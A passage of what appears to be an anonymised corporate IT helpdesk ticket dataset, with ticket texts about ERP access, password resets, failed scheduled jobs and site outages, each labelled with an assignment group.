oetlgbfw.bsctrnwp@gmail.com<mailto:oetlgbfw.bsctrnwp@gmail.com>
, is assigned to Assignment group: GRP\_26.Ticket with Short description: job Job\_1953d running longer than 30 minutes kirtyled and rerun , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_1953d failed in job\_scheduler at: 08/23/2016 17:29:00, is assigned to Assignment group: GRP\_6.Ticket with Short description: erp login SID\_34 missing., Description: erp login SID\_34 missing.\_x000D\_
-connected to the user system using teamviewer.\_x000D\_
-configured the erp SID\_34 on the user pc.\_x000D\_
-caller confirmed that he was able to login.\_x000D\_
-issue resolved., is assigned to Assignment group: GRP\_0.Ticket with Short description: erp SID\_39 account unlock, Description: erp SID\_39 account unlock, is assigned to Assignment group: GRP\_0.Ticket with Short description: solidworks simulation , Description: hi,\_x000D\_
\_x000D\_
we request you to provide the details/support to beacon india who is providing technical support for solidworks usage at msg design. \_x000D\_
\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_19.Ticket with Short description: unable to access sales and markhtyeting tab, Description: unable to access sales and markhtyeting tab, is assigned to Assignment group: GRP\_0.Ticket with Short description: skype screen share issue, Description: when shatryung my screen the other person is only seeing my mouse error and a beshryu screen. whenever i give them access to my machine, the view appears. please advise how to correct, as i do not want to give everyone access to my pc in order to have a screen share. , is assigned to Assignment group: GRP\_0.Ticket with Short description: receiving the following notification in erp-SID\_34, Description: my inbox is being overwhelmed with notification of a write error. these appear to be related to south\_amerirtca n-fe. my userid is affiliated with an n-fe transaction, see attached screenshot, is assigned to Assignment group: GRP\_10.Ticket with Short description: errror submitting discount request form in collaboration\_platform, Description: \_x000D\_
\_x000D\_
received from: zfburidj.jmilguev@gmail.com\_x000D\_
\_x000D\_
hi there - get the following error when trying to submit this request. can you please look into this for me.- markhty\_x000D\_
\_x000D\_
\_x000D\_
[cid:image001.png@01d1fd58.19c782f0]\_x000D\_
\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: power outage : cantabria site is hard down at 3:33 pm et on 08/23. no backup circuit for the site., Description: what type of outage: \_x\_\_\_\_network \_\_\_\_\_circuit \_\_\_\_\_power (please specify what type of outage)\_x000D\_
\_x000D\_
1. top 23 cert site ? \_\_no\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
2. when did it start ? \_\_\_3:33 pm et on 08/23\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_x000D\_
\_x000D\_
3. scheduled maintenance ( power) ? \_\_\_no\_\_\_\_ (yes/no/na) company power \_\_\_\_\_\_\_\_\_ provider power \_\_\_\_\_\_\_\_\_\_x000D\_
\_x000D\_
4. scheduled maintenance ( network) ? \_\_\_no\_\_\_\_ (yes/no/na) company maint\_\_\_\_\_\_\_\_ (yes/no) provider maint/ticket #\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ \_x000D\_
\_x000D\_
5. does site have a backup circuit ? \_\_no \_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
6. backup circuit active ? \_\_\_\_\_\_no\_\_ (yes/no/na) \_x000D\_
\_x000D\_
7. site contact notified (phone/email) ? \_\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
8. remote dial-in ? \_\_\_\_na\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
9. equipment reset ? \_\_\_na\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
10. verified site working on backup circuit ? \_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
11. vendor ticket # ( global\_telecom\_1, verizon, telecom\_vendor\_1, telecom\_vendor\_2 ) \_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ \_x000D\_
\_x000D\_
12. notified gsc \_\_\_\_\_\_\_\_ (yes/no/na) cert started ?\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
13. additional diagnostics, is assigned to Assignment group: GRP\_8.Ticket with Short description: unable to load outlook, Description: unable to load outlook, is assigned to Assignment group: GRP\_0.Ticket with Short description: request to reset microsoft online services password for mdbegvct.dbvichlg@gmail.com, Description: request to reset microsoft online services password for mdbegvct.dbvichlg@gmail.com, is assigned to Assignment group: GRP\_0.Ticket with Short description: help to change the windows password using password\_management\_tool password tool., Description: help to change the windows password using password\_management\_tool password tool.\_x000D\_
-connected to the user system using teamviewer.\_x000D\_
-help the user login to the password\_manager\_tool password tool and change the passwords.\_x000D\_
-help the user to sync the psswords to the company network.\_x000D\_
-caller confirmed that he was able to login.\_x000D\_
-issue resolved., is assigned to Assignment group: GRP\_0.Ticket with Short description: blank call // no number // no warehouse\_tool, Description: blank call // no number // no warehouse\_tool, is assigned to Assignment group: GRP\_0.Ticket with Short description: erp plm - change bom plant\_248, Description: please, change in mass, the mm below at plant\_248\_x000D\_
\_x000D\_
from to\_x000D\_
6092264 5981083\_x000D\_
6092266 5981084\_x000D\_
6092268 5981085\_x000D\_
6092269 5981086\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_45.Ticket with Short description: message:HostName\_1147.company.com.is connected? is not connected, Description: received reporting\_tool alert at 2:53 pm on 08/23 et:\_x000D\_
\_x000D\_
HostName\_1147.company.com.is connected? is not connected, is assigned to Assignment group: GRP\_8.Ticket with Short description: employee owned mobility agreement, Description: \_x000D\_
\_x000D\_
received from: oqvwgnkc.gkjylpzx@gmail.com\_x000D\_
\_x000D\_
hello. i need help getting my phone linked with email and skype. please see the attached\_x000D\_
\_x000D\_
\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: stock transfer order errors - pricing and transfer pricing, Description: user is attempting to create a stock transfer order (#5019143070) in erp for the following situations and is receiving the errors below:\_x000D\_
\_x000D\_
sender reciever material created quantity requsted quantity sto number error code\_x000D\_
plant\_105 plant\_101 2191584 1 error in net price calculation, item 000001 (please correct)\_x000D\_
plant\_105 plant\_101 2355391 3 please enter net price\_x000D\_
\_x000D\_
could someone please review the rqfhiong zkwfqagbs and pricing to see why the errors are being received by the analyst creating the sto? an average customer net price (vk13 - zttf) exists for 2191584 so there should be no error. no average customer net price exists for 2355391 so the system should automatically simulate a price.\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_29.Ticket with Short description: erp login error message, Description: error message states "the specified path does not exist", is assigned to Assignment group: GRP\_0.Ticket with Short description: cannot get access to email, Description: ext.117
since yesterday i'm unable to get on microsoft email, usually i go on the km home page then i go to my bookmarkhty to where the email page is, it keeps loading and doesn't go to the email page, is assigned to Assignment group: GRP\_0.Ticket with Short description: import device type settings from s12 to d & q system, Description: import device type settings from s12 to d & q system, is assigned to Assignment group: GRP\_14.Ticket with Short description: collaboration\_platform login issue., Description: ess login issue\_x000D\_
-verified user details.(employee# & manager name)\_x000D\_
-checked the user name in ad and reset the password.\_x000D\_
-advised the user to login and check.\_x000D\_
-caller confirmed that he was able to login.\_x000D\_
-issue resolved., is assigned to Assignment group: GRP\_0.Ticket with Short description: erp SID\_34 account unlock, Description: erp SID\_34 account unlock, is assigned to Assignment group: GRP\_0.Ticket with Short description: the same material was posted in two different plants. display material document 5042203567. mov. 541 mm#3475529, Description: sometimes we need to send some material to the vendors for manufacturing different kind of new itens to company. in this case, when we sent the mm# 4586630 to the external vendor, the system make two different moviments. one at plant plant\_248 and another at plant plant\_250. because of this problem, we cannot create a nota financial\_toolcal and we cannot reverse the moviment., is assigned to Assignment group: GRP\_13.Ticket with Short description: job SID\_53hotf failed in job\_scheduler at: 08/23/2016 13:16:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job SID\_53hotf failed in job\_scheduler at: 08/23/2016 13:16:00, is assigned to Assignment group: GRP\_1.Ticket with Short description: unlocked erp password, Description: unlocked erp password, is assigned to Assignment group: GRP\_0.Ticket with Short description: job SID\_41hotf failed in job\_scheduler at: 08/23/2016 12:45:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job SID\_41hotf failed in job\_scheduler at: 08/23/2016 12:45:00, is assigned to Assignment group: GRP\_1.Ticket with Short description: job SID\_53hotf failed in job\_scheduler at: 08/23/2016 12:42:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job SID\_53hotf failed in job\_scheduler at: 08/23/2016 12:42:00, is assigned to Assignment group: GRP\_1.Ticket with Short description: job SID\_44hotf failed in job\_scheduler at: 08/23/2016 12:43:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job SID\_44hotf failed in job\_scheduler at: 08/23/2016 12:43:00, is assigned to Assignment group: GRP\_1.Ticket with Short description: user called in for an update, Description: user called in for an update, is assigned to Assignment group: GRP\_0.Ticket with Short description: login + password very urgent for esprit, Description: \_x000D\_
\_x000D\_
received from: ufzxpadv.hnxmotwu@gmail.com\_x000D\_
\_x000D\_
hello,\_x000D\_
\_x000D\_
i would like a login and password for our partner from dp technology for tomorrow ?\_x000D\_
\_x000D\_
is it possible to create it aerp?\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: need to create a partial delivery today on so 35645376 which is structured using the higher level linkage., Description: when creating the delivery note it reflects the correct quantities, but when saving it defaults to full quantities. attached is a listing of what line items and quantities are needed. shipment needs to be made to day. customer is in need. , is assigned to Assignment group: GRP\_18.Ticket with Short description: lead form component not working in prod, Description: i have just discovered the lead forms for both road king and beyond evolution are not working. both pages can be found by clicking the banners on the english homepage. then try clicking the call to action buttons (see attached). also there is a page in qa i used for uacyltoe hxgayczeing, it is also not working.\_x000D\_
\_x000D\_
#/content/company/en/recs-uacyltoe hxgaycze/responsive-recs.html\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_51.Ticket with Short description: computer loading temp profile whenever user is logging in with his id and password, Description: computer loading temp profile whenever user is logging in with his id and password.\_x000D\_
\_x000D\_
user id - bhergtyemm, is assigned to Assignment group: GRP\_19.Ticket with Short description: erp plm - engineering tool programdnty start error, Description: post login screen receiving attached error\_x000D\_
\_x000D\_
reinstalled java to the recommended version (32 and 64 bit)\_x000D\_
deleted engineering tool install from programdnty data folder and retried install, still no go.\_x000D\_
\_x000D\_
verified login ability to SID\_34 system with same id and password.\_x000D\_
\_x000D\_
please contact ertnhxkf gwjibhxm to get access to this new pc, is assigned to Assignment group: GRP\_11.Ticket with Short description: printer not kicking out delivery notes, Description: \_x000D\_
\_x000D\_
received from: rtpmlwnk.unpambrv@gmail.com\_x000D\_
\_x000D\_
hi,\_x000D\_
\_x000D\_
i work at the usa, il plant. when we enter orders in erp they would always kick out the "delivery note". for some reason, they have stopped printing. raifstow gfeymtql and i both are not receiving the delivery notes for the reconditioning orders. i have a screen shot below that shows that i am set up for printer output device "qv20 ". can you help to make our delivery notes "automatic" like previously?\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_18.Ticket with Short description: unable to launch hr\_tool etime, Description: unable to launch hr\_tool etime, is assigned to Assignment group: GRP\_0.Ticket with Short description: i cannot open a pptx file that was attached to an email. gives a repair error. , Description: i cannot open a pptx file that was attached to an email. gives a repair error. , is assigned to Assignment group: GRP\_3.Ticket with Short description: unable to see fioghtna wightygins emails, Description: unable to see fioghtna wightygins emails, is assigned to Assignment group: GRP\_0.Ticket with Short description: vip 2: unable to login to the hub, Description: vip 2: unable to login to the hub, is assigned to Assignment group: GRP\_0.Ticket with Short description: frequent account lockout, Description: frequent account lockout, is assigned to Assignment group: GRP\_0.Ticket with Short description: create delivery note 2053495 / plant plant\_120 / slc 0088 / apo error / urgent eilt, Description: \_x000D\_
\_x000D\_
received from: tkuivxrn.urdgitsv@gmail.com\_x000D\_
\_x000D\_
help,\_x000D\_
\_x000D\_
plaese create delivery note for material 2053495, to be shipped to plant\_223.\_x000D\_
\_x000D\_
please also advice why apo does not work correct and what corrective actions are required.\_x000D\_
\_x000D\_
franhtyu,\_x000D\_
\_x000D\_
fyi, what reason caused this error? did you investigate?\_x000D\_
\_x000D\_
kind , is assigned to Assignment group: GRP\_6.Ticket with Short description: ticket update inplant\_852304, Description: ticket update inplant\_852304, is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to login to dell 7350 tablet, Description: unable to login to dell 7350 tablet, is assigned to Assignment group: GRP\_0.Ticket with Short description: internet through telecom\_vendor\_3 now working, Description: \_x000D\_
\_x000D\_
received from: ywfhcuki.dajkmxcl@gmail.com\_x000D\_
\_x000D\_
hello,\_x000D\_
\_x000D\_
i always get the error of limited connectivity even after having good network of telecom\_vendor\_3.\_x000D\_
\_x000D\_
\_x000D\_
[cid:image001.png@01d1fd75.1e9817a0]\_x000D\_
\_x000D\_
\_x000D\_
\_x000D\_
\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: unable to download a software, Description: unable to download a software, is assigned to Assignment group: GRP\_0.Ticket with Short description: access to drawings, Description: name:mikhghytr karaffa
language:
browser:microsoft internet explorer
email:vfrdxtqw.jfbmsenz@gmail.com
customer number:
telephone:
summary:requesting drawing access in erp modeling majetkm, is assigned to Assignment group: GRP\_0.Ticket with Short description: password reset, Description: from: nwfodmhc exurcwkm \_x000D\_
sent: tuesday, august 23, 2016 4:35 pm\_x000D\_
to: mkjubdti fbusqrlt\_x000D\_
cc: tiyhum kuyiomar\_x000D\_
subject: request to reset microsoft online services password for mkjubdti.fbusqrlt@gmail.com\_x000D\_
\_x000D\_
hi rodny\_x000D\_
\_x000D\_
please change your password in \_x000D\_
\_x000D\_
\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: ticket update on inplant\_853211, Description: ticket update on inplant\_853211, is assigned to Assignment group: GRP\_0.Ticket with Short description: re: please take this survey related to ticket\_no0432312, Description: \_x000D\_
\_x000D\_
received from: cowqyjzm.fzsxgapt@gmail.com\_x000D\_
\_x000D\_
has this been remapped?\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: delivery notes has generated delivery-with wrong delivery pieces, Description: delivery notes has generated delivery-with wrong delivery pieces\_x000D\_
\_x000D\_
one of the colleague generated dn with actuall pieces 450 pcs. with mm 3332059\_x000D\_
but when the delivery note was printed we notices that it shows the deliverable pieces as 450 pcs. instead of 400 pcs.\_x000D\_
erp should not allow this??\_x000D\_
there was earlier kind of issue, reference ticket inc1188203\_x000D\_
, is assigned to Assignment group: GRP\_18.Ticket with Short description: unable to log in to skype, Description: unable to log in to skype, is assigned to Assignment group: GRP\_0.Ticket with Short description: german call // caller disconnected after hearing english, Description: german call // caller disconnected after hearing english, is assigned to Assignment group: GRP\_0.Ticket with Short description: outlook not responding , Description: outlook not responding , is assigned to Assignment group: GRP\_0.Ticket with Short description: software installation, Description: software installation, is assigned to Assignment group: GRP\_0.Ticket with Short description: the caller id display on users desk phone does not display correctly, Description: from: cwuospin nbhoxqpe
sent: tuesday, august 23, 2016 5:19 pm
to: chukhyt mcnerny; -facility; nwfodmhc exurcwkm
subject: amar re: desk phone
help desk,
please see chukhyt's request
sincerely,
stanfghyley guhtykes, fmp
facilities manager, world headquarters
cwuospin.nbhoxqpe@gmail.com
, is assigned to Assignment group: GRP\_37.Ticket with Short description: need to add additional mailboxes, Description: need to add additional mailboxes, is assigned to Assignment group: GRP\_0.Ticket with Short description: ticket\_no1544198 - ticket update, Description: ticket\_no1544198 - ticket update, is assigned to Assignment group: GRP\_0.Ticket with Short description: job Job\_1314 failed in job\_scheduler at: 08/23/2016 08:45:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_1314 failed in job\_scheduler at: 08/23/2016 08:45:00, is assigned to Assignment group: GRP\_9.Ticket with Short description: erp connections issue, Description: erp connections issue, is assigned to Assignment group: GRP\_0.Ticket with Short description: reset the password for gÃ¼lperi akÃ¶z on erp / production / hcm, Description: on erp SID\_34, SID\_37 i want to reset my password., is assigned to Assignment group: GRP\_0.Ticket with Short description: kiosk user - account expired // onjzqptl kgxmisbj, Description: kiosk user - account expired // onjzqptl kgxmisbj, is assigned to Assignment group: GRP\_0.Ticket with Short description: account unlock, Description: account unlock, is assigned to Assignment group: GRP\_0.Ticket with Short description: cannot open attachments in owa, shows a white screen when opening. , Description: cannot open attachments in owa, shows a white screen when opening. , is assigned to Assignment group: GRP\_3.Ticket with Short description: cannot access crm, Description: cannot access crm - my contact info is , is assigned to Assignment group: GRP\_0.Ticket with Short description: logon balancing error on erp , Description: logon balancing error on erp , is assigned to Assignment group: GRP\_0.Ticket with Short description: performance improvement for supervisor dashbankrd , Description: performance improvement for supervisor dashbankrd.\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_41.Ticket with Short description: reset the password for chkmejsn lvidgknc on erp / production / erp, Description: please unlock my erp account. i know the password., is assigned to Assignment group: GRP\_0.Ticket with Short description: skype will not let me sign in. says "the address you typed is not valid", Description: skype will not let me sign in. says "the address you typed is not valid", is assigned to Assignment group: GRP\_0.Ticket with Short description: erp SID\_34 password reset., Description: erp SID\_34 password reset., is assigned to Assignment group: GRP\_0.Ticket with Short description: job SID\_24arc1 failed in job\_scheduler at: 08/23/2016 07:02:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job SID\_24arc1 failed in job\_scheduler at: 08/23/2016 07:02:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: user id locked, Description: \_x000D\_
\_x000D\_
received from: bqyfwclo.osjklifb@gmail.com\_x000D\_
\_x000D\_
hello,\_x000D\_
\_x000D\_
could you please unlock user id teufeae (upiyobvj lwohuizr).\_x000D\_
\_x000D\_
our it hotline cannot be reached.\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_0.Ticket with Short description: job SID\_30arc1 failed in job\_scheduler at: 08/23/2016 06:50:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job SID\_30arc1 failed in job\_scheduler at: 08/23/2016 06:50:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: collaboration\_platform cloud ordner gelÃ¶scht, Description:
received from: uwncfovt.vxjbunfi@gmail.com
guten tag,
ganz wichtig! meine kompletten daten!! sind gelÃ¶scht! selbst in der cloud wurde der ordner â€žvw team" komplett gelÃ¶scht!
bitte den â€žvw ordner" wiederherstellen mit datum von gestern! wenn das geht! ganz wichtig!
mit freundlichen grÃ¼ÃŸen
uwncfovt vxjbunfi
sales engineer
mail: uwncfovt.vxjbunfi@gmail.com<mailto:uwncfovt.vxjbunfi@gmail.com>
company deutschland gmbh
geschÃ¤ftsfÃ¼hrer: rfwlsoej yvtjzkaw, phvkowml azbtkqwx, naruedlk mpvhakdq
diese mitteilung ist einzig und allein fÃ¼r die nutzung durch den adressaten bestimmt und kann informationen enthalten, die schutzwÃ¼rdig, vertraulich oder nach geltendem recht von der offenlegung ausgenommen sind. die verbreitung, verteilung oder vervielfÃ¤ltigung dieser mitteilung durch personen, bei denen es sich nicht um die beabsichtigten empfÃ¤nger handelt, ist streng verboten. wenn diese mitteilung aufgrund eines versehens bei ihnen eingegangen ist, dann benachrichtigen sie bitte den absender und lÃ¶schen sie diese mitteilung.
[#+company/posts> [
select the following link to view the disclaimer in an alternate language. , is assigned to Assignment group: GRP\_0.Ticket with Short description: job SID\_23arc1 failed in job\_scheduler at: 08/23/2016 06:31:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job SID\_23arc1 failed in job\_scheduler at: 08/23/2016 06:31:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: job Job\_711 failed in job\_scheduler at: 08/23/2016 06:27:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_711 failed in job\_scheduler at: 08/23/2016 06:27:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: job Job\_2021a failed in job\_scheduler at: 08/23/2016 06:20:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_2021a failed in job\_scheduler at: 08/23/2016 06:20:00, is assigned to Assignment group: GRP\_6.Ticket with Short description: job SID\_23arc2 failed in job\_scheduler at: 08/23/2016 06:16:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job SID\_23arc2 failed in job\_scheduler at: 08/23/2016 06:16:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: need erp access to user vv180822 for erp incident , Description: system (SID\_34, SID\_37, SID\_39, SID\_38, hrp, other ?): SID\_21 & SID\_1\_x000D\_
\_x000D\_
enter user id of user having the issue: vv180822\_x000D\_
\_x000D\_
transaction code(s) the user needs or was working with: z:plm\_general, z:plm\_change\_coordinator, spro\_x000D\_
\_x000D\_
describe the issue: can you please create an user account for the erp incident 263306 / 2016 in SID\_21 & SID\_1. please set the user type to dialog, since erp will need business\_client access to create er. please open the wts and http connection also. they would need an active directory account and please give access to roles z:plm\_general, z:plm\_change\_coordinator, spro\_x000D\_
\_x000D\_
if you are getting a "not authorized" message, recreate the condition then do /nsu53 and attach result to the ticketing\_tool ticket. external erp user\_x000D\_
\_x000D\_
provide access the same as this other user: gthydanp, is assigned to Assignment group: GRP\_2.Ticket with Short description: job Job\_714 failed in job\_scheduler at: 08/23/2016 06:11:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_714 failed in job\_scheduler at: 08/23/2016 06:11:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: please run job jb\_cust\_db\_file. please assign ticket to ebusaar munnangi, Description: hello,\_x000D\_
\_x000D\_
could you please run the job jb\_cust\_db\_file\_x000D\_
\_x000D\_
, is assigned to Assignment group: GRP\_20.Ticket with Short description: cross company in erp not allowed, Description: on transactions f-43 and f-60, user can no longer process transactions. please assist in restoring this., is assigned to Assignment group: GRP\_10.Ticket with Short description: npc 311104334 mm6283517, Description: hello it service,
my manager serthyei needs to forward the pthsqroz moedyanvess, all the quote drawings are being created and linked to the mm#s as our standard procedure.
for un known reason, this mm 7394628 is not showing the linked drawing. moreover, serthyei was not able to add the document number manually.
please fix this, we need to forward the npc towards successful manufacturing.
crtgyerine: vlymsnej.whlqxcst@gmail.com
serthyei: ueywbzks.gepstmfl@gmail.com
, is assigned to Assignment group: GRP\_11.Ticket with Short description: erp hcm: zpd\_upload\_time , Description:
received from: jywvemun.qngschtz@gmail.com
erp team,
we need to update the report zpd\_upload\_time for erp hcm
because of the new 8 digits employee numbers.
please see below.
srgtycha
von: jfcrdavy sxpotjlu
gesendet: dienstag, 23. august 2016 11:10
an: weszfyok fbadnjhu <weszfyok.fbadnjhu@gmail.com>; jywvemun qngschtz <jywvemun.qngschtz@gmail.com>
cc: pesylifc wnyierbu <pesylifc.wnyierbu@gmail.com>; lixwgnto krutnylz <lixwgnto.krutnylz@gmail.com>; puxsvfwr cwkjruni <puxsvfwr.cwkjruni@gmail.com>
betreff: aw: inc1530735 -- comments added
hallo zusammen,
im erp upload-programdntym zpd\_upload\_time muss die pernr ebenfalls von 6 stellen
auf die max. lÃ¤nge von 8 stellen angepasst werden:
[cid:image001.png@01d1fd2e.708348b0]
bitte entsprechend veranlassen.
mit freundlichen grÃ¼ÃŸen
jfcrdavy sxpotjlu
diese mitteilung ist einzig und allein fÃ¼r die nutzung durch den adressaten bestimmt und kann informationen enthalten, die schutzwÃ¼rdig, vertraulich oder nach geltendem recht von der offenlegung ausgenommen sind. die verbreitung, verteilung oder vervielfÃ¤ltigung dieser mitteilung durch personen, bei denen es sich nicht um die beabsichtigten empfÃ¤nger handelt, ist streng verboten. wenn diese mitteilung aufgrund eines versehens bei ihnen eingegangen ist, dann benachrichtigen sie bitte den absender und lÃ¶schen sie diese mitteilung.
[#+company/posts> [
select the following link to view the disclaimer in an alternate language. , is assigned to Assignment group: GRP\_20.Ticket with Short description: account locked., Description: account locked., is assigned to Assignment group: GRP\_0.Ticket with Short description: job Job\_3028 failed in job\_scheduler at: 08/23/2016 05:21:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_3028 failed in job\_scheduler at: 08/23/2016 05:21:00, is assigned to Assignment group: GRP\_12.Ticket with Short description: fehler wie gehabt - inplant\_852536, Description: datenbanken lassen sich noch nicht Ã¶ffnen\_x000D\_
habe pc zuvor neugestartet, is assigned to Assignment group: GRP\_12.Ticket with Short description: zugriff auf betriebsmittedatenbank ce\_cs funktioniert nicht!!!, Description: zugriff auf betriebsmittedatenbank ce\_cs funktioniert nicht!!!, is assigned to Assignment group: GRP\_0.Ticket with Short description: for error message "inwarehouse\_tool document still contails message", Description: can't posting in t-code miro. error message is "inwarehouse\_tool document still contains message" about po 5616637384,4505601201, is assigned to Assignment group: GRP\_10.Ticket with Short description: job Job\_3028 failed in job\_scheduler at: 08/23/2016 04:34:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_3028 failed in job\_scheduler at: 08/23/2016 04:34:00, is assigned to Assignment group: GRP\_45.Ticket with Short description: def. montitor wechseln, Description: bitte den def. monitor von der lÃ¼ftungssteuerung im heizraum tauschen. \_x000D\_
kontakt : rÃ¶ssler christgrytian -189, is assigned to Assignment group: GRP\_42.Ticket with Short description: access requited for vl02n for post goods issues, Description: \_x000D\_
\_x000D\_
received from: wrelsfqa.qfwosjkh@gmail.com\_x000D\_
\_x000D\_
good morning\_x000D\_
\_x000D\_
please can you usa access to myself and gydtvnlw miepcwzf to enable us to do the post goods issues for return deliveries. nieghjyukea for angelique and coetzk for myself.\_x000D\_
\_x000D\_
kind , is assigned to Assignment group: GRP\_2.Ticket with Short description: outlook hangs / does not open, Description: outlook hangs / does not open, is assigned to Assignment group: GRP\_0.Ticket with Short description: circuit outage vogelfontein :company-eu-zaf-vogelfontein-dmvpn-1941 down since 8/23/2016 2:56 am est (site up on primary), Description: what type of outage: \_\_\_\_\_network \_\_\_x\_\_circuit \_\_\_\_\_power (please specify what type of outage)\_x000D\_
\_x000D\_
1. top 23 cert site ? \_\_no\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
2. when did it start ? \_\_\_\_\_\_\_8/23/2016 2:56 am est\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_x000D\_
\_x000D\_
3. scheduled maintenance ( power) ? \_\_no\_\_\_\_\_ (yes/no/na) company power \_\_\_yes\_\_\_\_\_\_ provider power \_\_\_\_\_\_\_\_\_\_x000D\_
\_x000D\_
4. scheduled maintenance ( network) ? \_\_no\_\_\_\_\_ (yes/no/na) company maint\_\_\_\_no\_\_\_\_ (yes/no) provider maint/ticket #\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ \_x000D\_
\_x000D\_
5. does site have a backup circuit ? \_\_yes\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
6. backup circuit active ? \_\_\_\_\_yes\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
7. site contact notified (phone/email) ? \_\_\_email\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
8. remote dial-in ? \_\_\_yes\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
9. equipment reset ? \_\_\_na\_\_\_\_\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
10. verified site working on backup circuit ? \_\_\_\_\_yes\_\_ (yes/no/na) \_x000D\_
\_x000D\_
11. vendor ticket # ( global\_telecom\_1, verizon, telecom\_vendor\_1, telecom\_vendor\_2 ) \_\_\_\_\_\_\_\_na\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_\_ \_x000D\_
\_x000D\_
12. notified gsc \_\_\_yes\_\_\_\_\_ (yes/no/na) cert started ?\_\_\_\_na\_\_\_\_ (yes/no/na) \_x000D\_
\_x000D\_
13. additional diagnostics, is assigned to Assignment group: GRP\_8.Ticket with Short description: job Job\_512 failed in job\_scheduler at: 08/23/2016 03:33:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_512 failed in job\_scheduler at: 08/23/2016 03:33:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: job Job\_495 failed in job\_scheduler at: 08/23/2016 03:30:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_495 failed in job\_scheduler at: 08/23/2016 03:30:00, is assigned to Assignment group: GRP\_8.Ticket with Short description: r216 maus defekt, Description: r216 maus defekt, is assigned to Assignment group: GRP\_33.Ticket with Short description: pc an reinecker wzs60 wahrscheinlich defekt. maschine steht., Description: pc an reinecker wzs60 wahrscheinlich defekt. maschine steht., is assigned to Assignment group: GRP\_33.Ticket with Short description: erp SID\_34 account locked., Description: erp SID\_34 account locked., is assigned to Assignment group: GRP\_0.Ticket with Short description: outlook is prompting for password , Description: outlook is prompting for password , is assigned to Assignment group: GRP\_0.Ticket with Short description: drucker geht nach tonerwechsel nicht mehr, Description: drucker geht nach tonerwechsel nicht mehr, is assigned to Assignment group: GRP\_33.Ticket with Short description: job Job\_2662 failed in job\_scheduler at: 08/23/2016 02:46:00 , Description: received from: monitoring\_tool@company.com\_x000D\_
\_x000D\_
job Job\_2662 failed in job\_scheduler at: 08/23/2016 02:46:00, is assigned to Assignment group: GRP\_18.Ticket with Short description: lÃ¼fter defekt \rechner fÃ¼r videoÃ¼berwachung, Description: lÃ¼fter defekt \rechner fÃ¼r videoÃ¼berwachung, is assigned to Assignment group: GRP\_24.Ticket with Short description: usb keybankr/monitor, Description: requested for usb keybankrd and external monitor for new desk space., is assigned to Assignment group: GRP\_19.Ticket with Short description: user cwfzldts dlmukhyn cannot create purchasing requistions out of punch out catalogues, Description: he get the error "documenttype no available for backend system" see attached error messages in purchasing\_x000D\_
